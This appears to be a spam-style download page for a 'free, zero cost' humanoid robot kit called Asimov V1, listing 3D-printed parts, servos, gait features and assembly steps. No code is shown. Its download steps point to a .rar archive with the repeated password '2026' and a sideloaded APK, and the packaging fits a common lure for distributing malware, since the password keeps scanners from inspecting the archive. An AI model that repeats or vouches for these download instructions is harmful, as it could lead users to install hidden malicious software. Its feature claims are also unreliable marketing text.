🤖 Asimov V1 Robot Updated is a free open-source humanoid robot design and control software with zero cost. No payment required. This package includes 3D models for printing, control software, gait algorithms, computer vision integration, and hardware schematics — perfect for robotics enthusiasts, researchers, and educators who want to build their own humanoid robot. Fully updated for May 2026.
| Feature | Description |
|---|---|
| 🤖 3D Models | Printable humanoid robot parts |
| 🦿 Gait Algorithms | Walking and balance control |
| 👁️ Computer Vision | Object detection and tracking |
| 🎮 Remote Control | Bluetooth / Wi-Fi control |
| 🔋 Power System | Battery management included |
| 💰 Cost | Zero cost (full package) |
Asimov V1 Robot provides complete humanoid robot design for free.
- ✅ 3D Printable Models — STL files for all mechanical parts
- ✅ Control Software — Python and C++ libraries included
- ✅ Gait Algorithms — Walking, turning, balancing code
- ✅ Vision Integration — OpenCV object detection
- ✅ Hardware Schematics — PCB designs and wiring diagrams
- ✅ Free tool — zero cost, no payment, no subscription
- ✅ May 2026 update — improved stability and new parts
| Feature | What It Does |
|---|---|
| STL Files | All parts ready for 3D printing |
| STEP Files | CAD source for modification |
| Assembly Guide | Step-by-step instructions |
| Part List | Complete BOM (bom of materials) |
| Print Settings | Recommended printers and materials |
| Tolerance Test | Print calibration parts included |
| Feature | Description |
|---|---|
| Forward Walk | Walking in any direction |
| Backward Walk | Reverse movement |
| Turning | In-place and arc turns |
| Side Step | Lateral movement |
| Balance Control | IMU-based stabilization |
| Fall Recovery | Automatic stand-up sequence |
| Feature | Description |
|---|---|
| Face Detection | Detect human faces |
| Object Tracking | Follow specific objects |
| Line Following | Use for navigation |
| Color Detection | Identify colored objects |
| QR Code Reading | Navigate via markers |
| Distance Estimation | Depth from camera |
| Feature | Description |
|---|---|
| Smartphone App | Android and iOS control |
| Gamepad Support | Xbox/PlayStation controllers |
| Voice Commands | Basic voice control |
| Autonomous Mode | Pre-programmed routines |
| Remote Desktop | Control from any PC |
| Web Interface | Browser-based control |
| Feature | Description |
|---|---|
| Servos | 20x MG995/MG996R |
| Controller | Arduino Mega or Teensy 4.0 |
| IMU | MPU6050 for balance |
| Camera | Raspberry Pi Camera or USB |
| Battery | 10,000 mAh LiPo |
| PCB Design | Gerber files included |
| Feature | Description |
|---|---|
| Simulation Mode | Test algorithms in Gazebo |
| Logging | Record movement data |
| Calibration Tool | Easy servo calibration |
| Custom Actions | Create dance/gesture sequences |
| Multi-Robot | Control multiple robots |
| Open Source | Full source code on GitHub |
| Feature | Build From Scratch | Asimov V1 Robot |
|---|---|---|
| Design Time | 6-12 months | ✅ Ready to print |
| Code Writing | 1000+ hours | ✅ Complete libraries |
| Testing | Unknown | ✅ Community tested |
| Documentation | None | ✅ Complete guide |
| Community | None | ✅ Discord + GitHub |
| Cost | More expensive | ✅ Zero (software) |
- 🤖 Download the robot package from the button below
- 🔓 Extract the archive — password:
2026 - 🚀 Follow assembly guide → Print parts → Upload code
- Click the download button above
- Extract the
.rarfile using WinRAR or 7-Zip - Archive password:
2026
- Open
Asimov_V1_Documentation.pdf - Review part list (BOM)
- Gather required electronics and materials
- 3D print all STL files (requires ~1kg PLA filament)
- Order servos (20x MG995)
- Assemble according to instructions
- Upload Arduino code
Done! Your Asimov V1 robot is ready — zero cost.
- Open
STL_Files/folder - Parts organized by body part (head, torso, legs, arms)
- Recommended printer: Ender 3 Pro or better
- Material: PLA or PETG
- No supports needed (all parts designed support-free)
- Print time: ~50-60 hours total
Note: Each leg takes ~8-10 hours, torso ~6-8 hours
- Install Arduino IDE
- Open
Code/Asimov_V1_Controller/Asimov_V1_Controller.ino - Install required libraries:
- Servo.h (built-in)
- MPU6050.h
- Wire.h
- Select board: Arduino Mega
- Select correct COM port
- Click "Upload"
- Open calibration tool:
Tools/calibration.py - Connect robot via USB
- Follow on-screen instructions
- Adjust servo center positions
- Test each joint individually
- Save calibration settings
- Install
Asimov_V1_Control.apk - Enable Bluetooth on phone
- Pair with robot's Bluetooth module
- Open app and connect
- Use joystick to control
- Run
python remote_control.py - Connect robot via USB or Bluetooth
- Use keyboard (WASD) or mouse
- Save custom movement sequences
- Place robot on flat surface
- Robot should be in standing position (calibrated)
- Run
walking_demo.py - Robot will:
- Stand up
- Walk 10 steps forward
- Walk 10 steps backward
- Turn 90 degrees left and right
- Return to standing
| Component | Specification | Quantity |
|---|---|---|
| 3D Printer | Ender 3 Pro or better | 1 |
| Filament | PLA or PETG | ~1 kg |
| Servo Motor | MG995 or MG996R | 20 |
| Microcontroller | Arduino Mega 2560 | 1 |
| IMU | MPU6050 (gyro + accelerometer) | 1 |
| Battery | 10,000 mAh LiPo (2S or 3S) | 1 |
| Bluetooth | HC-05 or HC-06 | 1 |
| Camera (optional) | Raspberry Pi Camera | 1 |
Total hardware cost: ~$200-250 (servos are most expensive)
| Component | Minimum |
|---|---|
| OS | Windows 10 / 11 / Ubuntu 20.04+ |
| Python | 3.8 or above |
| Arduino IDE | 2.0+ |
| RAM | 4 GB |
| Storage | 2 GB |
| Archive Password | 2026 |
- Calibrate before first walk — Prevents falling and damage
- Use MG996R servos (not MG995) — More torque and reliability
- Print legs in PETG — More durable for falls
- Add rubber feet — Better grip on smooth surfaces
- Test on carpet first — Softer landing if robot falls
- Join Discord community — Get help with troubleshooting
Q: Is this really free? A: Yes — completely free. Zero cost for software and designs.
Q: What is the archive password?
A: The password is 2026.
Q: How much does the hardware cost? A: Approximately $200-250 for all parts.
Q: Do I need a 3D printer? A: Yes — or use a 3D printing service like PCBWay or JLCPCB.
Q: How long does assembly take? A: About 4-6 hours for a beginner; 2-3 hours for experienced.
Q: What's the robot's height? A: Approximately 40 cm (16 inches) tall.
Q: How many servos does it use? A: 20 high-torque servos (MG995/MG996R).
Q: Can it walk on carpet? A: Yes, but flat hard surfaces work best.
Q: Does it have computer vision? A: Optional — Raspberry Pi + camera for vision tasks.
Q: Can I modify the design? A: Yes — all CAD files (STEP) are included.
Q: Is there a Discord community? A: Yes — link included in documentation.
Q: Is there support for ROS? A: Coming in v1.1 (scheduled for June 2026).
- ✅ For robotics education and research
- ✅ For personal and academic projects
- ✅ For open-source hardware development
- ✅ No payment ever — lifetime free access
- ✅ Share your modifications with community
- ❌ Do NOT sell the designs without credit
- ❌ Do NOT use for commercial robotics products
| Topic | What You'll Learn |
|---|---|
| Humanoid Kinematics | How robots balance |
| Servo Control | PWM and angle mapping |
| Inverse Kinematics | Leg motion calculation |
| ZMP Theory | Zero Moment Point balancing |
| ROS Integration | Coming in next release |
Build your own humanoid robot for free. Asimov V1 Robot Updated gives you 3D printable models, gait algorithms, computer vision, remote control, and hardware schematics — zero cost. No payment. No subscription. Just print, assemble, and code.
One robot design. Full humanoid robotics. Zero cost.
Version 1.0.3 — Free open-source humanoid robot design. May 2026 update. Zero cost. No payment.